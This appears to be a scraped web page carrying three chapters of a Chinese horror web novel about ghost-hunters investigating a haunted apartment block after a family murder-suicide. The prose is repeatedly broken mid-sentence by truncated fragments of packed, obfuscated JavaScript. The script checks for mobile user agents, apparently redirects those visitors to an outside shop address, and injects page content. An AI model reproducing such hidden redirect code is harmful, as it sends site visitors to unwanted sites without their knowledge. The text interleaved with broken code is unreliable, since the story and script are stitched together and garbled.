l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233067|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照片也没留下,只能放这个。” 田叔拿来纸杯给大家倒水,眼神很是怅然。 “节哀。” “没事,”田叔又笑了起来,他摸了摸没剩几根头发的脑袋,“还好我儿子出息,从小就机灵,就连老师都说他聪明呢!” 说到儿子,田叔的话匣子一下就打开了,滔滔不绝,一会儿炫耀他儿子八岁就说长大了要买大房子给他,一会儿又说儿子的名字还是他翻了三天三夜字典才给取的——田耀,光宗耀祖的耀! 郝荨听得头昏脑涨,听到后面她甚至忘记了自己是来下本,而不是坐在村头听大叔唠嗑的。 法瑟抱着臂坐在旁边发呆,而柚柚……柚柚已经睡着了,头一点一点的,像是小鸡啄米。 郝荨强打起精神时不时附和着,不着痕迹地打量起这间屋子。 两室一厅的户型,厨房在餐厅旁边,另一边是洗手间,洗手间旁应该是两间卧室,其中一间的门紧闭着。 “唉哟,不好意思,忘了几位是来干正事的了!” 田叔一拍脑袋:“这……我先带大家去现场瞧瞧?” “不急,您先跟我们说说这闹鬼究竟是怎么回事吧。” 明明是在自己家,田叔却四处望了望,才压低声音道:“其实我也不太清楚到底是怎么回事,咱们这栋楼啊太老了,但凡有点钱的都搬到那六七层的小高楼去了,就剩下我们这些没钱的,邻里邻居几十年,谁还不知道谁啊,人都不坏的!” 他端起茶杯喝了口水,手指微颤:“可谁能想到老金居然能做出那种事!” 郝荨仔细盯住对方的表情:“哪种事?” 田叔的眼皮不自觉地眨了眨,浑身肌肉紧绷起来,记忆仿佛回到了四天前的那天晚上—— 那天傍晚还好好的,他们这群老邻居舍不得开电风扇,吃完晚饭就搬个板凳到大门口吹风聊天。 金顺的左手戴了个手套,拿着蒲扇在那噼里啪啦地扇风,心情很好的样子。 田全摇摇头:“你说说你,都这把年纪了还搞成这样,等你媳妇跑了你就知道后悔喽!” 金顺嘿嘿一笑:“你懂个屁!我这叫战略眼光,现在小卖部生意不行了,我看人家都在开超市,赚的狠嘞!我呢,过几天也打算开一个,别说我不带兄弟玩啊,到时候你来我超市随便拿,不要钱!” “啧啧啧。” 田全没有搭话,谁还不知道谁啊,不过就是吹吹牛罢了,这不,连旁边的狗都在笑他,还汪汪汪呢! 可谁知道……这就是他们见的最后一面。 当天夜里,金顺就跳了楼。 那天晚上天很热,他睡得早,模模糊糊只感觉身上黏黏的,很不舒服,刚翻了个身,窗外传来了一声巨响。 田全“唰”地坐起,什么声音? 开始他还以为是打雷,正要到阳台把衣服收了,看到的场景却让他瞬间顿在原地,连血液都冻住了。 尖尖的铁栅栏上,金顺直直插在上头,头颅歪斜,血流了满地……就像一个稻草人。 稻草人歪着脑袋,那张金顺的脸冲着他的方向,眼睛大张,死不瞑目。 好半天,他才在三楼女孩的尖叫声中有了知觉。 “金顺家在二楼,照理说跳下来是不会死的,可谁也没想到真就那么巧,他刚好掉在了铁栅栏上。” 田全打了个哆嗦,嘴巴动了好几下才艰难开口:“可比这更恐怖的是,我们去到他家一看,他家里所有人……他爸他妈、他媳妇儿、他三个小孩……全死了……” 他惊恐地看向郝荨:“那天晚上,金顺拿刀砍死了他一家六口,然后跳楼自杀了。” 52. 幸福公寓01 “那天晚上,金顺拿刀砍死了他一家六口,然后跳楼自杀了。” “自杀?” 不知道什么时候已经醒来的方柚柚质疑道:“自杀会从二楼跳下来吗?也许他只是想逃跑,只是没想到自己会出现意外。” “不可能!”田全摇头,“老金不是那种人!” “不是哪种人?杀死所有亲人的人?” 方柚柚耸了耸肩,田全噎住。 “总、总之,我觉得老金这事怎么看怎么古怪!果然,那天之后,我们楼里就出了怪事!” 一开始只是偶尔有小孩的笑声,大家都说是金顺的三个小孩死得冤枉,不肯离开,他们觉得可怜,便当做什么都不知道,直到三天前的晚上—— 自老金那事发生后,大家就不再去门口聊天了,太阳一落,所有人就待在自己的房间里闷头睡觉,一觉睡到天亮就好了。 可那天他不知怎么的,怎么都睡不着。 田全躺床上数羊都数到六百了,还是没有一丝睡意,倒是膀胱有了几分尿意,他只好爬起来去了厕所。 公寓楼年代久远,电线早就老化了,他们出不起钱换就只能将就着用,其他都还好,就是他这个厕所的灯又暗又总是闪,开了比不开还可怕,他早就习惯了晚上摸黑上厕所。 那天他尿到一半,小孩的笑声又响了起来。 小孩子的脚步声很特别,不像成年人一样又慢又沉,轻巧的很,走廊里一串脚步声跑过来跑过去,他强迫自己不要去听,但安静的夜里只有他这儿有尿声,让他很没有安全感。 在他上完厕所的瞬间,小孩的笑声忽然没了。 他们走了? 不知怎的,田全鬼使神差地走到了大门背后,想看看他们是不是真的离开了,他偷偷凑到猫眼上,老式猫眼的玻璃有些失真,走廊看起来扭曲着,明明每天都会走来走去的走廊现在看起来陌生极了,门外什么也没有。 田全松了口气,可就在下一秒,一张血肉模糊的笑脸“砰”地撞上了猫眼! 他猛地后退,差点一口气没上来就去陪金顺了! 门外再次响起了小孩的笑声,他们拍着手掌跑跑跳跳,唱起了捉迷藏的童谣: “月亮高高挂天上,我们玩个捉迷藏,小手小脚轻轻跑,藏好藏好不被找……” 金顺的话还没说完,一道年迈的咳嗽声忽然透过墙壁传来。 “咳咳!” 老人咳得很厉害,像是个破布风箱般喘着气,让人生怕她一口气上不来就没了。 田全也很怕,他高声问道:“丁婆,你没事吧?” 那老人又剧烈咳了几下:“咳咳——咳!” 卡在嗓子眼的一口痰被用力咳出,老人才总算缓过劲来:“我没事!也不知道哪个兔崽子又来偷我的果子……” 丁婆骂骂咧咧的,声音又大又粗俗,老式公寓的墙板根本隔不住她的骂声。 田全有些不好意思:“反正,事情就是这么回事了,那群小孩越来越过分,现在还会拍门了!马上又是中元节,听说鬼啊怪啊的会在那天抓替死鬼替他们下去,我们…我们也是实在害怕,才找的你们来帮忙。” “你放心,跟这些东西打交道,我们是专业的!” 她笑眯眯道:“只是我想再问问清楚,你当时看到的那张脸是金顺的小孩吗?” 田全一愣:“这…不是他们还能是谁?” “你仔细回忆一下呢,我们做这行的,最忌讳就是搞错鬼了,很危险的!” 在她的恐吓下,田全努力回想了半天,打了个哆嗦: “那小孩脸上全是血,走廊里又暗,我实在想不起来了,但应该是他那个大女儿,年纪看着对得上,她以前就总带着楼里的小孩们一起玩捉迷藏,一定是她!” 田全说得信誓旦旦,郝荨点点头又问:“咱们这楼里一共有多少小孩呢?” 说到这,田全叹了口气:“也没几个了,年轻点的都为了小孩搬到学校旁边去了,就剩下我们这几家,也就老金家三个,三楼开麻将馆家的姐弟俩,不过201的大学生和305那个女的有时候也会跟他们一起玩捉迷藏。” 郝荨点点头,记下这几户人家。 “要我说啊,这几个小孩都不如我儿子,我们耀耀从小就乖,叫他别出去玩他就不出去,天天待在房间里安安静静写作业,哪像他们啊,变成鬼都不消停!” “田耀今天不在家吗?” 她只是顺口一问,对方的反应却让人忍不住侧目。 “……他啊,”田全下意识撇过头,“哦他有事,出去了……来,来喝水!” 他拿起水壶要给大家倒水,郝荨三人的水杯却都是满的。 “嗯……时间不早了,我先带你们去看看现场?马上天要黑了,那群小孩又要出来了!” 郝荨挑眉,将要追问的柚柚按下,柚柚歪头看过来,她摇了摇头。 田全急着打开门,郝荨刚要走,忽然想起什么:“田叔,这个香你还有吗?” 她指了指供台上堆满烟灰的小碗。 “有,有,在灶台下面的抽屉里!” 田全脚步没动,他焦急地看了眼时间,任郝荨拿走了厨房最后一盒线香。 迈步出门时,她的手不小心被柚柚拱了一下,香掉在了脚边。 郝荨弯腰去捡,被窗外如血的夕阳晃了一下眼,再睁开眼时,那扇一直紧紧关闭的卧室门打开了条缝。 缝隙里一只阴沉的眼睛深深凝视着他们,随后,门被悄然关上。 田全走在最前头,这楼的设计很奇怪,大门和楼梯分别设立在楼的两端,他们要上楼就得穿过狭小的走廊一路走到最里头。 令她有些意外的是,丁婆并不是住在田全隔壁的102,而是隔着一间的103,她脚步忽然顿住。 如果说这栋楼的隔音质量差到连隔壁的隔壁老人在咳嗽都能听得清清楚楚,那么那天晚上——金顺是怎么杀死一家六口而没有一个人发现的? 丁婆家的大门没关,只有一扇老式防盗门将他们隔开。 “咳咳……” 她咳嗽着,郝荨扭头望去,正好能看到坐在阳台上的丁婆,丁婆应该很爱花草,她的阳台上郁郁葱葱,种了很多蔬果植物,甚至还有一株果树! 原来她在外头看到的那截探出枝丫的果树就是丁婆种的。 丁婆年纪很大了,发丝雪白,坐在摇椅上晃晃悠悠,身形被茂密的植物遮掩近半。 她眯起眼盯住他们,郝荨脚步刚一停顿就被她发现了。 “怕了?” 丁婆冷笑道:“怕就早点走!晚了可就走不了喽!” “唉哟丁婆你别胡说了!” 田全加快脚步,走到楼梯口才开口:“丁婆脑子糊涂了,你们别听她乱说。” 他往上紧了紧皮带,小声道: “丁婆是我们幸福公寓最早一批住户,年轻时候很厉害的!种田那是这个!”他比了个大拇指,继续道,“可惜后来爹妈死了之后儿子也死了,几年前就连老公也走了,大家都说她命太硬,把家里人都克死了。那之后丁婆就变得不爱出门,每天就待在那阳台上弄她的花花草草,脑子啊,也不行了,总是骂人,你们别放心上啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240378|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郝荨笑笑,没有在意,还没走完台阶,他们就听到了有人在窸窸窣窣说着什么。 她抬头望去,这条走廊和楼下大差不差,都很狭窄,再加上走廊边上以前住户留下的老式家具就更窄了,两人并排走路都有些困难。 许多人聚集在204门口说着小话,神情恐慌。 “你们都在这儿干嘛呢?” 话音刚落,他们齐齐打了个颤,一个三十岁上下的中年女性抚了抚胸口。 “老田啊,你吓死我了!” 一个看起来八九岁的女孩躲在妈妈身后探出头,她长得不算很好看,相比较瘦小的身子,头看起来就有些过大了,她扎了个乱蓬蓬的辫子,乖巧又好奇地看向那几个陌生人。 “田叔叔。” “诶,念儿乖,方芳,你怎么让小孩来这啊?她才几岁!” 女孩抬起头看向妈妈,她妈妈似乎还没从惊吓中回过神,听到这话先是拉长了脸道:“关你什么事!” 随后又仿佛抹不开面子,捋了捋头发和女孩道:“你先回去吧,别忘了给弟弟泡奶喝。” 那女孩点点头,小跑着上了楼。 一个穿着白色裙子的女生靠在墙上露出脸来:“这就是来抓鬼的大师?” 她长得很漂亮,郝荨眼前一亮,明眸皓齿,头发烫了时尚的大卷,还化了妆,比现实里的小明星也不差多少。 见到她,田全有些许不自然,但他很快反应过来,和蔼道:“是的。” 田全给大家做了介绍,中年女性是住在304的女主人方芳,和丈夫儿女一起住,刚刚跑走的小女孩就是她的大女儿齐念儿,还有个儿子才出生几个月,叫齐小宝。 漂亮女生是住在201的女大学生施婉婉,才刚搬来一年,是幸福公寓里最新的住客。 “你们没事跑这里干嘛?” 田全很奇怪,这里又不是什么风水宝地,人家还特意躲着走,他们倒好,还聚在这聊天,也不嫌晦气! “你知道啥!” 方芳翻了个白眼,她看起来脾气不太好,反倒是施婉婉温温柔柔解释道:“刚刚童谣声又来了,就在这。” “啊?” 田全看向窗外,虽然太阳已经快要落下,但云彩还是灰白的! “这天还没黑呢他们就出来了?!大师,你们看这——” 郝荨抬手示意他稍安勿躁,进去粗略转了一圈,204真不愧是凶宅,地面、墙、家具……到处都是风干的血迹,哪怕已经过了几天,那股血腥味依然萦绕在鼻尖久久不散。 就在他们进去的这几分钟,屋外的天色像是被谁关了灯似的迅速暗了下来,田全在门口叫道:“大师,我先带你们去看看休息的地方吧!” 他急得抓耳挠腮,郝荨三人刚出来他就连忙转身下楼。 下楼时遇到了个背着大包回来的中年女性,看起来四十多岁的模样,看见他们后,疲惫的脸上挤出了友好的笑,点点头擦肩而过。 田全给大家安排的房间就在102,正好夹在他家和丁婆家中间,那户人家的小孩运气好中了彩票,把爹娘都接到市区去了,这间屋子也懒得卖,就把钥匙给了田全,这会儿家具和床铺什么的都还在,只是有点灰。 把他们安顿好后,田全就跟兔子似的一下窜回了家,门刚关上,天就彻底黑了下来。 法瑟反手关上门,又将灯打开。 幸好那户人家一直没有去申请断电,他们才不至于要摸黑下本。 浓重的黑雾慢慢袭来,从外头看去,幸福公寓像是被一只无形的黑手牢牢抓住,漆黑一片中,只有102灯影幢幢。 53. 幸福公寓02 方柚柚把机器人玩偶放在一边坐好,自己一下倒在了床上,还记得拿毯子把肚脐眼盖好。 “你要睡了?” 郝荨大为震惊,他们进本都不到一个小时,而一个小时前她才刚刚睡醒! “没有呀,”方柚柚双手合起压住肚子,“我只是站累了。” 说着,她闭上了眼睛。 三秒后,她愉快地打起了小呼噜。 郝荨:…… 法瑟忽然开口:“那香你看过吗?” 郝荨掏出线香查看,很朴素的棕黄色,和她以前去庙里拜过的一样,仔细嗅闻,能闻到一股烟熏过的气味。 这一盒已经用了一些,郝荨点了点:“还有九支。” “九?三次机会?还是烧给三个人?” 郝荨没来及说话,身后突然传来方柚柚的声音:“神三鬼四。” 她回过头,方柚柚不知何时睁开了双眼。 “三为阳四为阴,拜神三支香,烧给鬼应该要四支,游戏在误导我们。” 方柚柚掀开毯子,一挺身——挺——没挺起来,她只好选择了难看但安全的姿势爬起,从衣服里掏出了……一把全是血的菜刀。 郝荨猛地后仰:“你要干嘛?!” 方柚柚疑惑地歪了歪脑袋。 “这应该就是金顺拿来杀死家里人的凶器。” 郝荨:! 她什么时候藏的?!还藏在身上? 这小孩胆子也忒大了! 郝荨接过那把菜刀看了看,又递给法瑟。 这就是一把普通的家用菜刀,法瑟眉头皱了一下。 郝荨:“怎么了?” 法瑟掂了掂这把菜刀,忽然手腕一甩,像扔飞镖那样轻轻松松就把刀插进了墙壁。 墙壁背后传来了什么东西摔下的声音,一阵刻意压制的咳嗽声响了起来。 郝荨迅速与法瑟对视一眼,比了个“丁婆”的口型。 “嗯。”法瑟想了想,补充道,“这把刀没怎么磨过。” 没有磨过? 郝荨走到墙前仔细观察,这把刀确实钝得可以,就连她这种没怎么下过厨房的人都能看出来,别说是杀人,就这把刀,切个猪肉都得费点劲。 可这就让人更费解了,金顺是怎么拿着如此钝的刀,在寂静无声的夜里连杀六口人,还不被人发现的? 不过想想这里是游戏世界,有些匪夷所思的事也很正常。 “你们觉不觉得……变冷了?” 方柚柚卷起毯子裹在身上,下半张脸缩在膝盖后头,鼻头有些红。 小孩对温度的感知比成年人强许多,她说了之后他们才发觉温度确实下降了。 法瑟站在阳台上向外看去,什么也看不见,无论是月光还是灯火,楼外黑漆漆的,死气沉沉,没有半分声响。 郝荨打了个喷嚏,从柜子里翻出来几件外套,款式已经过时许多年,好歹还算干净,尺码有些大,蓝色的夹棉工装穿在方柚柚身上好像个大麻袋,郝荨帮她把衣袖和下摆卷了几下才勉强露出手来。 “你怎么不穿?” 法瑟拎着那件绿色的军大衣不说话,她还是头一次看到这人脸上有这么纠结的表情。 “好啦别闹脾气了,别的码你都穿不上啊。” 这家的男性成员个子应该都不高,衣服全是170的尺码,法瑟这具身体是个一米八五的大高个,连套都套不上去,只有均码的军大衣能穿。 郝荨从抽屉里翻出两个还能用的手电筒,打开了大门,方柚柚走在第二,只剩法瑟,眼见着她们已经出门,法瑟才披上军大衣,大步流星追了上去。 刚踏出门郝荨就愣在了门口,她们……还在幸福公寓吗? 发黑的墙壁上爬满了枯黄的爬山虎,蛛网在墙角结了厚厚一层,一只飞蛾摇摇晃晃飞过,被看不清的细丝缠住,它拼命颤抖着翅膀想要飞离,深夜综艺的电视机声从101门内传出。 这里和白天完全的两个模样,一切的一切都分外诡谲。 “咚咚。” 郝荨轻轻敲了敲门:“田叔?你在吗?” 回应她的是瞬间调大的电视声。 法瑟皱眉:“小心。” 他们转过头向楼梯走去,丁婆住的103还是只有防盗门关着,穿堂风从阳台吹来,更冷了。 “丁婆?”她晃了晃防盗门,发出“哐啷哐啷”的响声。 这声音在狭窄的走廊里回响,让人有些不安。 她等了一会儿,没有回应。 其他房间的门都紧紧闭着,她紧张地吞咽,如田全所说,走廊里的光线不好,灯也不知道是多少年前的,几乎只能照亮它所在的那一块,昏暗的灯泡边上飞舞着许多小飞虫。 方柚柚有点害怕,偷偷拽住了郝荨的衣角。 三人顺着楼梯上楼,白日里普普通通的楼梯这会儿也变了模样,似乎烧过,木质的扶手有许多焦黑痕迹,深色液体从楼上滴落在台阶上,分不清是血液还是别的什么东西。 路过203时,郝荨顿住脚步。 方柚柚忍不住靠近她,小声询问:“怎么了吗?” “没什么。” 可能是她的错觉,刚刚似乎听到了一道摩擦声,细听时又不见了。 204和黄昏时差不多,除了看起来更旧一些几乎没什么两样,这让郝荨松了口气。 金顺一家七口人挤在这小小的两室一厅里,主卧由夫妻俩带着最小的孩子住,次卧住着爷爷奶奶,另外两个大一点的孩子只能在餐厅打地铺,屋里到处都是纸箱,箱子里还放着各种小零食和便宜的生活用品。 听田全说金顺家是开小卖部的,想必这些都是他的存货。 两间卧室的床上和地铺上有大量血迹,印出了尸体当时的痕迹,餐厅的两个小孩应该是最先遇害的,他们躺在地铺上一动不动,随后是主卧里的妻子,妻子坐了起来,血泊堆积在床头,再接着是最小的孩子,那孩子应该还很小,血迹只有小小一滩。 最后,是次卧里的老人,老人一个倒在进门的位置,一个靠在墙上。 金顺就这么杀死了他的所有亲人,然后从二楼一跃而下。 “叽叽。” 奇怪的声音让郝荨吓了一跳,她回过头去,方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252854|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柚柚无辜地看向她,手里拿着一个小小的橡皮老鼠。 她下意识又捏了一下。 “叽!” 法瑟疑惑:“这是什么?” “小玩具。”郝荨捏起它看了看,上头还有牙印。 只是看起来不太像人的牙印,倒像是狗的,她想到楼下那只流浪狗:“可能是拿给那只狗玩的。” 她把玩具还给方柚柚,方柚柚本想放回原本的位置,突然念头一转,放进了口袋里。 地铺旁堆着两个小书包,沉得要命,方柚柚拉开拉链将里头的书本倒出,在其中一个笔盒中找到了两块钱。 钱币破破烂烂,被主人珍惜的藏在橡皮壳套中。 两个小孩的成绩都普普通通,课本里画了许多狗狗的简笔画,应该很喜欢狗,但他们家实在没有空间再养一只狗,只能和楼下的流浪狗玩耍。 郝荨在卧室翻找,在枕头下找到了一本账册,前半本被血液浸透,粘在了一起,后半本里夹了许多欠条,这大半年他们的小卖部连连亏损,已经到了连进货都要欠钱的地步。 小卖部的房租、水电开销、小孩上学、老人生病等等等等,几乎要将这个家庭压垮。 这种经济状况,金顺哪里来的钱开超市? 她想了想,打开衣柜,在最里头的旧衣服里面摸到了一个小包,包里装了这家人最重要的东西——存折。 方柚柚凑了过来,她对数字很敏感,只从前往后翻了一遍就发现了不对:“奇怪。” “哪里奇怪?” 方柚柚掏出笔,在存折上划了几道。 “除开每个月的固定出入,这几笔……” 她圈出近三个月多出的几笔支出和收入:“都是新出现的,先是支出了一笔二十,没过两天就收回了五十,接下来又是支出了四十,收回了一百……每次支出几乎都能回收一倍多,而最后——” 她翻到最后一页,在“-8922”这个数字上重重点了点。 这是最后一笔支出,这笔钱支出后,存折里就只剩下了三毛二。 而取钱的那天,就是204惨案发生当天。 “要上香试试吗?” 虽然她不觉得金顺他们能这么容易就被超度,但现在也没有更多线索了,倒不如尝试一下。 方柚柚从角落里翻出一个过期的小面包当底座,郝荨数出四支香点燃,白色的烟雾慢慢飘荡着,她眼观鼻鼻观心,静静地鞠了四个躬。 窗外一阵风吹来,将烟雾吹散开,湿冷的雾气顺着这风渗透进房间的每个角落。 孩子的笑声骤然响起: “月亮高高挂天上,我们玩个捉迷藏,小手小脚轻轻跑,藏好藏好不被找。老大轻轻跃楼下,老二睡在大树旁,老三鱼儿水里游,老四偷偷躲床上,找你找我真开心,老五留下夜哭郎……” “有动静。”法瑟瞬间后退。 郝荨本以为他在说童谣,可下一秒,她也听见了藏在童谣下的闷响。 一声一声……缓慢而又沉重,震得地面都在晃动,似人非人的叫声幽幽响起: “你——在——哪——呀——” 54. 幸福公寓03 楼梯上,随着脚步声越来越近,一只体型庞大的怪物来到了204门口。 “嘎吱——” 门开了。 “我——来——找——你——啦——” 郝荨眯着眼透过缝隙望去……看到了一个扭曲的黑色怪物。 那怪物走……不,应该说是爬,它的身躯被看不见的东西压下,形成了一个违反科学的弯折弧度,通体黑色,像是燃烧过的木屑,又像是是无数飞虫密密麻麻聚集在一起。 每走一步,就有黑色的粉尘落在地上。 一股冷气从后腰袭上,郝荨强忍住害怕,仔细盯着这个怪物。 “你——在——哪——呀——” 它手脚并用,挪动着脚步在屋中寻找着什么。 郝荨立刻意识到,它在玩捉迷藏! 捉迷藏,有些地方又叫躲猫猫或者抓鬼游戏,先选出一个扮演“鬼”的人,“鬼”会蒙上眼睛等待一段时间,等大家藏好后来寻找大家,被抓的人会接替他成为“鬼”,进行下一轮游戏。 而在这里,这只黑色的怪物——就是“鬼”。 郝荨把身体缩到最小,慢慢地调节呼吸,一点都不敢动。 “我——听——到——啦——” 听到什么? 她的心跳声逐渐加快,呼吸漏了一拍。 法瑟摸上手臂,他骨架很大,身形却很有韧性,连衣柜上方和天花板之间的夹层也能藏下,他目光沉静,黑暗中他的眼睛有一瞬间泛着红色的光。 怪物弯下腰看向床底,床底空空如也。 “心——跳——声——” 它走过的地方,血液像是重新活过来似的开始向外蔓延。 浓重的血腥味灌满她的鼻腔,她开始有些呼吸困难。 郝荨开始缓慢深呼吸,强行压下自己升起的恐惧,她没有注意到的是,身后的柜板上出现一双小小的、属于儿童的手。 有什么东西轻轻碰了碰她的头发。 郝荨一开始还以为是被衣服的纽扣挂住,她轻轻晃了晃脑袋,直到那东西触碰了她的脖子。 冰冷、潮湿。 她瞬间睁大眼睛,整个人都僵硬起来。 缝隙的光也被挡住,她瞳孔剧烈震颤,一时不知道是该回头还是抬头。 “找——到——你——啦——” 她缓缓抬起头,怪物黑色的身体里睁开了一只细细长长的眼睛。 郝荨:“!” 餐厅里突然传出一道短促声响: “叽。” 怪物被吸引了注意,它抬起沉重的步伐,离开了衣柜。 郝荨松了口气,但下一秒她神情忽然凝固,那是方柚柚躲藏的地方! 她掏出木仓,咬了咬牙,正准备跟怪物拼了,忽然—— “砰!” 一道巨响从屋外传来,怪物停顿几秒,离开了204。 法瑟从衣柜上灵活跳下,打开了门,郝荨一下腿软,整个人扑了出来,幸好被法瑟一把扶住。 “这是什么?” 他蹭了下郝荨的后领,那里潮湿了一大片,深红色的,闻起来像血。 郝荨拿手电筒照了照,衣柜最里头的柜板上印着一行血手印。 她一时沉默,不愿意回想自己刚刚是和什么东西待在一个衣柜中。 “帮、帮帮忙!” 方柚柚的声音有些虚弱,她仗着身形小,躲在了装小面包的箱子中,塑料包装的声音很大,她一动也不敢动,腿麻了。 法瑟跟提袋子似的把她提出。 方柚柚:“刚刚什么声音?” 郝荨趴在阳台向下看了一眼,回答道:“稻草人的声音。” 方柚柚愣住:“……金顺吗?” “嗯,未成年别看了,这起码也得是18+,”她又看了眼,“也可能是21+。” 金顺的尸体在铁栅栏上卡得很死,乌云不知道什么时候漏了条缝,一束惨白的月光打在他身上,像是在告知今天的主角是谁。 郝荨喃喃道:“月亮高高挂天上,我们玩个捉迷藏……老大轻轻跃楼下,老二睡在大树旁。” 老大已经谢幕,那么老二会在何时出场呢? 法瑟:“先离开。” 见他脸色不对,郝荨回过神,这才发现刚刚歪着脑袋的金顺不知何时已经抬起了头,那双突出的眼球正直勾勾地盯着他们的方向。 “走!” 郝荨招呼方柚柚向外走,她抓起手电筒刚要离开,方柚柚却踩到了什么。 “滋啦……” 像是旧磁带的声音。 方柚柚捡起,是一个很旧的洋娃娃,做工比较粗糙。 “滋啦……对……对……” 对什么? “对不、对不起……” 洋娃娃在道歉? 不,这种娃娃都是自带一个小小的录音设备,按一下就可以录一句话,以前都是拿来教小孩说妈妈的。 但这声音不像小孩,倒像是个男人,听起来那人情绪已经濒临崩溃,一句道歉录得支离破碎。 “对不起…对不起…对不起……” 洋娃娃无数次的重复着,像是在帮谁诉说一句迟来的道歉。 方柚柚:“这娃娃刚刚在吗?” 郝荨摇摇头,洋娃娃还在说着对不起,她有些厌烦地皱起眉。 法瑟侧耳听着,怪物已经回到了楼里。 “快走。” 三人扔下洋娃娃就跑,杂乱的脚步声在走廊里响着,刚到楼梯处,怪物也已经到达了一楼的楼梯口。 郝荨身形一转,上了三楼。 怪物好像听到了他们的动静,它加快脚步: “你——在——哪——呀——我——来——找——你——啦——” 他们是第一次上三楼,打眼一看和楼下没什么太大区别,细细长长的走廊里每间屋子的大门都紧闭着。 方柚柚急切道:“怎么办?” 怪物已经上到了二楼,马上就要找到他们了! 304的大门悄无声息地打开,一个小小的声音叫住他们:“快过来!” 三人险之又险地进到屋里,门刚刚关上,怪物就上到了三楼。 几人贴着门气都不敢喘,齐念儿站在椅子上偷偷透过猫眼往外看,直到怪物远去她才长舒一口气。 “谢谢——” “嘘!” 齐念儿连忙让她别说话,她小心翼翼地爬下椅子,几乎是用气声说话:“你们等一下。” 她进到次卧,低声唱了首哄睡的儿歌,接着又轻手轻脚地出门,带着大家来到了阳台上。 她掀开厚厚的纸板,露出了一个能容一人通过的大洞。 郝荨目瞪口呆,这也行?! 几人通过那个大洞来到了隔壁303,刚过来郝荨就直呼好家伙。 这里的家具都被搬空,只留下了几张方桌,放桌上齐齐整整地码着绿色小方块,这里竟然被他们做成了麻将馆! 角落里摆着个不知从哪捡来的小柜子,柜子上供奉着一座陌生佛像。 佛像有些掉色,与其他佛像不同,这座佛像的头是翻倒过来的,祂的身体正对着众人,脸却背对着,一手拈花,座上刻了四个字“众生皆苦”。 郝荨绕到佛像背后。 诡异的是,这座栩栩如生的雕像竟然没有脸! “这是什么?” 齐念儿搬出几个塑料椅排好,动作熟练,一看就是常在这里帮忙。 “那是倒面佛,爸爸说,可以保佑弟弟平安。” 她安静地坐在椅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14261837|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子上,身上穿着宽大而破旧的长袖T恤,手指紧张地攥着衣角,看起来很害羞。 “刚才谢谢你。” 她摇摇头:“姐姐,你们、你们可以不可以……晚点抓鬼呀?” 郝荨讶异:“为什么?” 齐念儿低下了头,她不好意思道:“这几天因为闹鬼的事,周围都没有人敢来麻将馆,爸爸妈妈终于有时间陪我、我们了……但、但也不要太晚,就稍微晚一点,一点点就好……” 麻将馆冷冷清清,桌上都有了一层薄薄的灰,齐念儿所言应该不假。 方柚柚忽然开口:“这么晚你不睡觉吗?” “我要照顾弟弟。” 她看起来不觉得有什么,郝荨皱眉:“你也是小孩,怎么照顾弟弟?” “我很能干的!” 齐念儿不服气:“弟弟生病了,晚上总是睡不好,爸爸妈妈养我们很辛苦,我能帮他们!” 齐念儿抓了抓乱糟糟的头发,把她们绑成了一个小揪揪。 “看!我还会自己梳辫子!” 她仰着头,神清倔强,脸色发黄,唇色也有些发白,让人忍不住心疼。 郝荨笑笑,伸出手去:“我帮你重新扎吧——” 齐念儿往后一退,差点没摔下凳子。 郝荨的手僵在半空。 “不、不用……”她好像觉得自己做错了事,声音闷闷的。 见她不愿意,郝荨也没在意,这个年纪的小孩正是对私人空间在意的时候,不愿意别人随便触碰也很正常。 她软下声音换了个话题:“你对那东西有什么了解吗?它是什么时候出现的?” 齐念儿想了想:“好像就是昨天,我弟弟很难受,一直哭,一直哭,怎么都不肯睡觉……” 昨夜。 她费力地抱起婴儿晃着,齐小宝的哭声却越来越大。 隔壁房间的木床“嘎吱”一声,妈妈压着怒火叫了一句:“念儿,别睡了!弟弟哭了,快哄哄他!” 又是“嘎吱”一声,爸爸也翻了个身,睡意朦胧:“吵死了。” 她有点委屈,但她知道爸爸妈妈白天为了麻将馆的生意很头痛,好不容易才睡着,却又被弟弟吵醒。 齐念儿以前听过妈妈给弟弟唱哄睡歌,但她没记住几句,只唱了个开头就想不起接下来的歌词。 她想了想,唱起了自己唯一会唱的一首童谣:“月亮高高挂天上,我们玩个捉迷藏……” “月亮高高挂天上,我们玩个捉迷藏……” 同样的童谣声从公寓各个角落里响起,是她熟悉的小伙伴的声音。 她有点想他们了。 